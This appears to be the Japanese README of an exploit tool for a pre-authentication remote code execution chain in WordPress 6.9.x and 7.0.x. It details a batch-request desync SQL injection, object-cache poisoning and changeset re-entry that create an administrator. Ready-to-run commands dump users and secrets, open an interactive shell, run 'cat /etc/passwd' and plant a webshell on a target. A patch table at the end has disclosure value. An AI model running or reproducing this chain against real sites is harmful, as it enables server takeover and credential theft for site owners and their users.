WordPress 6.9.0~6.9.4 および 7.0.0~7.0.1 に対する認証前のリモートコード実行。
CVE-2026-63030(バッチルート混乱による SQLi)と CVE-2026-60137(カスタマイザーの changeset 再エントリ)を連鎖させ、認証なしでの管理者作成と OS コマンド実行を実現します。パスワードクラックは不要です。

hashkitten による発見に感謝します。完全な SLCyber の技術分析はこちらをお読みください。
WordPress の REST API バッチプロセッサ(serve_batch_request_v1)には、オフバイワンのインデックスバグがあります。wp_parse_url() がサブリクエストのパスで失敗すると、結果の WP_Error は $validation[] にはプッシュされますが、$matches[] にはプッシュされません。これにより 2 つの配列の同期が崩れ、それ以降のすべてのリクエストが誤ったハンドラでディスパッチされます。
バッチの中に慎重に構成したバッチをネストすることで、攻撃者は以下を実行できます。
author__not_in を通じてサニタイズされていない SQL を注入する(文字列→配列キャストが absint() をスキップする)UNION SELECT を使用して WordPress のオブジェクトキャッシュを偽の投稿オブジェクトで汚染するセットアップが完了すると(テーブルプレフィックスと管理者 ID の特定)、昇格ペイロードは単一の HTTP リクエストで発火します。キャッシュポイズニング、権限昇格、ユーザー作成はすべてサーバーサイドで 1 ラウンドトリップで発生します。
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
キャッシュポイズニング(UNION による 7 つの偽投稿):
[embed] ショートコードを含むトリガー投稿customize_changeset、ステータス future、日付は過去)is_nav_menu_item チェックのために post_type=nav_menu_item として汚染)post_type=request、post_status=parse、parent=inner)実行フロー:
[embed] ショートコードが発火wp_update_post にフォールスルーwp_update_post がキャッシュされた changeset(parent=outer)を読み取る → 階層チェックが Loop 1 を検出future ステータスで DB に書き込む → 自動的に publish に変換_wp_customize_publish_changeset が発火 → wp_set_current_user(admin_id) → 管理者コンテキストが有効にnav_menu_item[real_id] を処理 — キャッシュは type=nav_menu_item を返す → UPDATE パスobject_id が post_parent=re-entry を持つキャッシュ済み投稿に解決 → 実投稿に対して wp_update_post$post_id)が Loop 2(re-entry ↔ inner)を検出wp_update_post(re-entry) を呼び出す → type=request、status=parse を DB に書き込むwp_transition_post_status が do_action("parse_request") を発火 → rest_api_loaded() → serve_request()POST /wp/v2/users が成功 → 管理者が作成される → die()再帰防止用の MySQL セッション変数(@_wp2s)により、チェーンは正確に 1 回だけ発火し、ループしません。
--cleanup は終了時に作成したユーザーを削除し、ウェブシェルを除去git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
pip install も virtualenv も不要です。単一ファイルです。
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
check と read コマンドは、影響を受けるすべてのターゲットで動作します。exploit チェーンには追加で 3 つの要件があります。
| 要件 | 理由 | デフォルトの WP? |
|---|---|---|
| 公開済みの投稿が少なくとも 1 つ | oEmbed が埋め込み処理をトリガーするにはローカル URL が必要 | あり(Hello World) |
| 永続的なオブジェクトキャッシュがない | UNION 行が生き残るには split-the-query が無効である必要がある | あり(ファイルキャッシュがデフォルト) |
| REST API にアクセス可能 | parse_request による再エントリには REST サーバーが必要 | あり |
| ファイルシステムへの直接書き込み | プラグインのアップロードには FS_METHOD=direct または PHP が wp-content を所有している必要がある | あり(ほとんどのホスト) |
ターゲットが Redis または Memcached をオブジェクトキャッシュとして使用している場合、split_the_query は per_page に関係なく強制され、UNION 行は ID のみのフェッチ中に破棄されます。read コマンドは引き続き機能します(ブラインド抽出は UNION がキャッシュに生き残る必要がない)が、exploit は失敗します。
| ブランチ | 脆弱なバージョン | 修正版 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
このパッチは、エラーケースに $matches[] = $single_request; を追加し(オフバイワンを修正)、serve_request() に再エントリガードを追加します。